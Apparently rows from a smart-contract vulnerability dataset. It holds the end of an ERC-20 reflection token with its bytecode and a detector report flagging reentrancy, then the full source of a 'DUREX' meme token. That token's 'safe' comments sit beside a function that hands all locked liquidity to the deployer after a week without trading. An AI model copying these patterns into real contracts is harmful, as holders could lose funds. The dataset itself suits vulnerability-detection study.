_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb146102ec578063b515566a1461030c578063c3c8cd801461032c578063c9567bf914610341578063dd62ed3e1461035657600080fd5b8063715018a6146102645780638da5cb5b1461027957806395d89b41146102a1578063a46c8497146102cc57600080fd5b8063273123b7116100dc578063273123b7146101d1578063313ce567146101f35780635932ead11461020f5780636fc3eaec1461022f57806370a082311461024457600080fd5b806306fdde0314610119578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101b157600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526008815267476f6f7365496e7560c01b60208201525b60405161015391906118ae565b60405180910390f35b34801561016857600080fd5b5061017c610177366004611735565b61039c565b6040519015158152602001610153565b34801561019857600080fd5b50678ac7230489e800005b604051908152602001610153565b3480156101bd57600080fd5b5061017c6101cc3660046116f4565b6103b3565b3480156101dd57600080fd5b506101f16101ec366004611681565b61041c565b005b3480156101ff57600080fd5b5060405160098152602001610153565b34801561021b57600080fd5b506101f161022a36600461182d565b610470565b34801561023b57600080fd5b506101f16104b8565b34801561025057600080fd5b506101a361025f366004611681565b6104e5565b34801561027057600080fd5b506101f1610507565b34801561028557600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102ad57600080fd5b50604080518082019091526002815261474960f01b6020820152610146565b3480156102d857600080fd5b506101f16102e7366004611867565b61057b565b3480156102f857600080fd5b5061017c610307366004611735565b61063a565b34801561031857600080fd5b506101f1610327366004611761565b610647565b34801561033857600080fd5b506101f16106dd565b34801561034d57600080fd5b506101f1610713565b34801561036257600080fd5b506101a36103713660046116bb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103a9338484610ad5565b5060015b92915050565b60006103c0848484610bf9565b610412843361040d85604051806060016040528060288152602001611a9a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f46565b610ad5565b5060019392505050565b6000546001600160a01b0316331461044f5760405162461bcd60e51b815260040161044690611903565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461049a5760405162461bcd60e51b815260040161044690611903565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104d857600080fd5b476104e281610f80565b50565b6001600160a01b0381166000908152600260205260408120546103ad90611005565b6000546001600160a01b031633146105315760405162461bcd60e51b815260040161044690611903565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260040161044690611903565b600081116105e05760405162461bcd60e51b81526020600482015260086024820152671b9bc81b1a5b5a5d60c21b6044820152606401610446565b6105ff620186a06105f9678ac7230489e8000084611089565b90611108565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b60006103a9338484610bf9565b6000546001600160a01b031633146106715760405162461bcd60e51b815260040161044690611903565b60005b81518110156106d95760016006600084848151811061069557610695611a4a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d181611a19565b915050610674565b5050565b600c546001600160a01b0316336001600160a01b0316146106fd57600080fd5b6000610708306104e5565b90506104e28161114a565b6000546001600160a01b0316331461073d5760405162461bcd60e51b815260040161044690611903565b600f54600160a01b900460ff16156107975760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610446565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d33082678ac7230489e80000610ad5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080c57600080fd5b505afa158015610820573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610844919061169e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088c57600080fd5b505afa1580156108a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c4919061169e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090c57600080fd5b505af1158015610920573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610944919061169e565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610974816104e5565b6000806109896000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ec57600080fd5b505af1158015610a00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a259190611880565b5050600f80546706f05b59d3b2000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a9d57600080fd5b505af1158015610ab1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d9919061184a565b6001600160a01b038316610b375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b038216610b985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c5d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610cbf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b60008111610d215760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b6002600a556008600b556000546001600160a01b03848116911614801590610d5757506000546001600160a01b03838116911614155b15610f36576001600160a01b03831660009081526006602052604090205460ff16158015610d9e57506001600160a01b03821660009081526006602052604090205460ff16155b610da757600080fd5b600f546001600160a01b038481169116148015610dd25750600e546001600160a01b03838116911614155b8015610df757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e0c5750600f54600160b81b900460ff165b15610e6957601054811115610e2057600080fd5b6001600160a01b0382166000908152600760205260409020544211610e4457600080fd5b610e4f42601e6119a9565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610e945750600e546001600160a01b03848116911614155b8015610eb957506001600160a01b03831660009081526005602052604090205460ff16155b15610ec9576002600a908155600b555b6000610ed4306104e5565b600f54909150600160a81b900460ff16158015610eff5750600f546001600160a01b03858116911614155b8015610f145750600f54600160b01b900460ff165b15610f3457610f228161114a565b478015610f3257610f3247610f80565b505b505b610f418383836112d3565b505050565b60008184841115610f6a5760405162461bcd60e51b815260040161044691906118ae565b506000610f778486611a02565b95945050505050565b600c546001600160a01b03166108fc610f9a836002611108565b6040518115909202916000818181858888f19350505050158015610fc2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610fdd836002611108565b6040518115909202916000818181858888f193505050501580156106d9573d6000803e3d6000fd5b600060085482111561106c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610446565b60006110766112de565b90506110828382611108565b9392505050565b600082611098575060006103ad565b60006110a483856119e3565b9050826110b185836119c1565b146110825760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610446565b600061108283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611301565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061119257611192611a4a565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111e657600080fd5b505afa1580156111fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121e919061169e565b8160018151811061123157611231611a4a565b6001600160a01b039283166020918202929092010152600e546112579130911684610ad5565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611290908590600090869030904290600401611938565b600060405180830381600087803b1580156112aa57600080fd5b505af11580156112be573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f4183838361132f565b60008060006112eb611426565b90925090506112fa8282611108565b9250505090565b600081836113225760405162461bcd60e51b815260040161044691906118ae565b506000610f7784866119c1565b60008060008060008061134187611466565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061137390876114c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113a29086611505565b6001600160a01b0389166000908152600260205260409020556113c481611564565b6113ce84836115ae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161141391815260200190565b60405180910390a3505050505050505050565b6008546000908190678ac7230489e800006114418282611108565b82101561145d57505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006114838a600a54600b546115d2565b92509250925060006114936112de565b905060008060006114a68e878787611621565b919e509c509a509598509396509194505050505091939550919395565b600061108283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f46565b60008061151283856119a9565b9050838110156110825760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b600061156e6112de565b9050600061157c8383611089565b306000908152600260205260409020549091506115999082611505565b30600090815260026020526040902055505050565b6008546115bb90836114c3565b6008556009546115cb9082611505565b6009555050565b60008080806115e660646105f98989611089565b905060006115f960646105f98a89611089565b905060006116118261160b8b866114c3565b906114c3565b9992985090965090945050505050565b60008080806116308886611089565b9050600061163e8887611089565b9050600061164c8888611089565b9050600061165e8261160b86866114c3565b939b939a50919850919650505050505050565b803561167c81611a76565b919050565b60006020828403121561169357600080fd5b813561108281611a76565b6000602082840312156116b057600080fd5b815161108281611a76565b600080604083850312156116ce57600080fd5b82356116d981611a76565b915060208301356116e981611a76565b809150509250929050565b60008060006060848603121561170957600080fd5b833561171481611a76565b9250602084013561172481611a76565b929592945050506040919091013590565b6000806040838503121561174857600080fd5b823561175381611a76565b946020939093013593505050565b6000602080838503121561177457600080fd5b823567ffffffffffffffff8082111561178c57600080fd5b818501915085601f8301126117a057600080fd5b8135818111156117b2576117b2611a60565b8060051b604051601f19603f830116810181811085821117156117d7576117d7611a60565b604052828152858101935084860182860187018a10156117f657600080fd5b600095505b838610156118205761180c81611671565b8552600195909501949386019386016117fb565b5098975050505050505050565b60006020828403121561183f57600080fd5b813561108281611a8b565b60006020828403121561185c57600080fd5b815161108281611a8b565b60006020828403121561187957600080fd5b5035919050565b60008060006060848603121561189557600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118db578581018301518582016040015282016118bf565b818111156118ed576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119885784516001600160a01b031683529383019391830191600101611963565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119bc576119bc611a34565b500190565b6000826119de57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119fd576119fd611a34565b500290565b600082821015611a1457611a14611a34565b500390565b6000600019821415611a2d57611a2d611a34565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104e257600080fd5b80151581146104e257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5c5bf977af8f98c7725b9bd0161687a20e30f026df1a08c76ff3aed35f8a66564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,570 |
0x7Aa01f984c69bd210a65904288B16eaC29dac438
|
/**
*Submitted for verification at Etherscan.io on 2021-09-30
*/
/*
DUREX
The safest token
automatically renounced upon deploy
liquidity auto locked in contract, unlocks if no transaction for a week
tiny liquidity for more fun
trading starts as soon as someone calls the putCondomOn() function
1M supply, 100% on uniswap
max buy 5,000 (0.5%) for 10 minutes
4% tax to the dev
2% reflection
No TG or site, this is a community token: please create them. Enjoy safe s̶e̶x̶ trading
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() internal {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
/*
For the contract readers, here are the main things to know:
- this is a fork of No One
- I added the renounce in the constructor
- made the openTrading public and renamed it
- ensured the cooldown is removed automatically after some minutes
*/
contract DUREX is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "DUREX";
string private constant _symbol = 'DUREX';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 4;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool public cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint public startTime = 1e36;
uint public lastTrade = 1e36;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () public {
_FeeAddress = _msgSender();
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), address(this), _tTotal);
renounceOwnership(); // There you go, you're safe.
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
// sends the lp tokens to the team wallet if no trade has occured for a week
function removeCondom() public {
require(lastTrade + (7 days) < block.timestamp, 'not dead yet bruh');
uint balance = IERC20(uniswapV2Pair).balanceOf(address(this));
IERC20(uniswapV2Pair).transfer(_FeeAddress, balance);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
// Auto remove of the cooldown after 10 minutes
if (block.timestamp > startTime + (10 minutes)) {
cooldownEnabled = false;
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
require(amount <= _maxTxAmount);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
lastTrade = block.timestamp;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function putCondomOn() external {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
// LP tokens go to the contract, not the owner
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,address(this),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
startTime = block.timestamp;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
// Much appreciated
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
